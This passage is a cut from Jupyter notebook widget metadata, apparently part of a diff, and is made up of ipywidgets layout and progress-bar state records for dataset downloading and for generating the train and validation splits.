null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "02a3804cfb644596845bd94d485842b3": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "3a90127f102749d49dc707462fa1493c": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HBoxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_fd48f90d37264a068726b5bb831f0e92", + "IPY_MODEL_6f1fc0ddf59941af8a8de728f69f13a9", + "IPY_MODEL_cc579e347402418fb3a56a9721608c2f" + ], + "layout": "IPY_MODEL_7656a7c366d84f868cfbe1fe078005b8" + } + }, + "fd48f90d37264a068726b5bb831f0e92": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_68cc9adc5ffd4bd7b7603f523c799bdb", + "placeholder": "​", + "style": "IPY_MODEL_04bd3974f26d4fc286d011eaabb4a00f", + "value": "Downloading data: 100%" + } + }, + "6f1fc0ddf59941af8a8de728f69f13a9": { + "model_module": "@jupyter-widgets/controls", + "model_name": "FloatProgressModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_16ca0d5112a84f7badd1ae6897871981", + "max": 1468812, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_905b964876754e62bb806d6d46dc2be2", + "value": 1468812 + } + }, + "cc579e347402418fb3a56a9721608c2f": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_fe5cb317415544f2a9e66936e90a292a", + "placeholder": "​", + "style": "IPY_MODEL_43f04b940546468eaea59dcca38a00aa", + "value": " 1.47M/1.47M [00:01<00:00, 1.53MB/s]" + } + }, + "7656a7c366d84f868cfbe1fe078005b8": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "68cc9adc5ffd4bd7b7603f523c799bdb": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "04bd3974f26d4fc286d011eaabb4a00f": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "16ca0d5112a84f7badd1ae6897871981": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "905b964876754e62bb806d6d46dc2be2": { + "model_module": "@jupyter-widgets/controls", + "model_name": "ProgressStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "fe5cb317415544f2a9e66936e90a292a": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "43f04b940546468eaea59dcca38a00aa": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "c85eb3cb9e364d65bf81da8d8695384d": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HBoxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_37705344130d4089845dfd50b66a2eca", + "IPY_MODEL_ec688e6024494c149700188621c7a28f", + "IPY_MODEL_a209766c96454174a5ca2571cc2821dc" + ], + "layout": "IPY_MODEL_38983df51690455397d3c3e95b512024" + } + }, + "37705344130d4089845dfd50b66a2eca": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_8fe4d9d70fc34de19885c5b423cc635d", + "placeholder": "​", + "style": "IPY_MODEL_05aba2b03a9a445b911b57a80f977e28", + "value": "Downloading data: 100%" + } + }, + "ec688e6024494c149700188621c7a28f": { + "model_module": "@jupyter-widgets/controls", + "model_name": "FloatProgressModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d07eee50d63249ce8c888abbbd85d7f7", + "max": 489429, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_722edf64d41d420194d108bd34d1e6b4", + "value": 489429 + } + }, + "a209766c96454174a5ca2571cc2821dc": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7732563834ed46dd8e19e520674f6cac", + "placeholder": "​", + "style": "IPY_MODEL_69be31cf3de941c4bf06a4e6359f387d", + "value": " 489k/489k [00:00<00:00, 475kB/s]" + } + }, + "38983df51690455397d3c3e95b512024": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8fe4d9d70fc34de19885c5b423cc635d": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "05aba2b03a9a445b911b57a80f977e28": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "d07eee50d63249ce8c888abbbd85d7f7": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "722edf64d41d420194d108bd34d1e6b4": { + "model_module": "@jupyter-widgets/controls", + "model_name": "ProgressStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "7732563834ed46dd8e19e520674f6cac": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "69be31cf3de941c4bf06a4e6359f387d": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "59228c17fb39460aa14997c501c4c528": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HBoxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_d39827e795f9429cb64945e1502a921e", + "IPY_MODEL_ada54ada913c4f4089eee58693114187", + "IPY_MODEL_b20d87aa3e3a4d92b341430f99b6b024" + ], + "layout": "IPY_MODEL_81305cbb90c14bc786948bb44dbf526c" + } + }, + "d39827e795f9429cb64945e1502a921e": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_3e91f992f5b54955ab60166a40a987e5", + "placeholder": "​", + "style": "IPY_MODEL_f241423e2fa04e7892b6eb47d2e2dceb", + "value": "Generating train split: 100%" + } + }, + "ada54ada913c4f4089eee58693114187": { + "model_module": "@jupyter-widgets/controls", + "model_name": "FloatProgressModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c663a31f4e6d4ac09c87af993cca9d42", + "max": 75750, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_1a2e6f5312a447098815e440921e8300", + "value": 75750 + } + }, + "b20d87aa3e3a4d92b341430f99b6b024": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d68f6fe6a47a4092b0b723814cdf1cf9", + "placeholder": "​", + "style": "IPY_MODEL_5a6861eb4b9146528fa37592cc731b78", + "value": " 75750/75750 [01:39<00:00, 1027.45 examples/s]" + } + }, + "81305cbb90c14bc786948bb44dbf526c": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": "hidden", + "width": null + } + }, + "3e91f992f5b54955ab60166a40a987e5": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f241423e2fa04e7892b6eb47d2e2dceb": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "c663a31f4e6d4ac09c87af993cca9d42": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "1a2e6f5312a447098815e440921e8300": { + "model_module": "@jupyter-widgets/controls", + "model_name": "ProgressStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "d68f6fe6a47a4092b0b723814cdf1cf9": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5a6861eb4b9146528fa37592cc731b78": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "0acd2ec0c2a64e2997230aee8d6b9ef3": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HBoxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_01f46ddb169f4502877985907b2e1e79", + "IPY_MODEL_1512e241a3d64139b425a3455d296dea", + "IPY_MODEL_4f037323ba2b42b98690f3d91334396d" + ], + "layout": "IPY_MODEL_aabbc7f40589421da8bbc8db5d60e77c" + } + }, + "01f46ddb169f4502877985907b2e1e79": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_0fbacc4d6aba42e78c9860211748a856", + "placeholder": "​", + "style": "IPY_MODEL_10f639dda72d4b7d90c62818a72228af", + "value": "Generating validation split: 100%" + } + }, + "1512e241a3d64139b425a3455d296dea": { + "model_module": "@jupyter-widgets/controls", + "model_name": "FloatProgressModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_5dd098e322264b2394134b40b7911cc1", + "max": 25250, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_1594e53020c44d53a034a61849f78dcc", + "value": 25250 + } + }, + "4f037323ba2b42b98690f3d91334396d": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_5840ce91a0444924b6c4163e69ae27e4", + "placeholder": "​", + "style": "IPY_MODEL_63a3932c41294fa29ef2c7f15778bed6", + "value": " 25250/25250 [01:15<00:00, 361.28 examples/s]" + } + }, + "aabbc7f40589421da8bbc8db5d60e77c": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": "hidden", + "width": null + } + }, + "0fbacc4d6aba42e78c9860211748a856": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "10f639dda72d4b7d90c62818a72228af": { + "model_module": "@jupyter-widgets/controls", + "model_name": 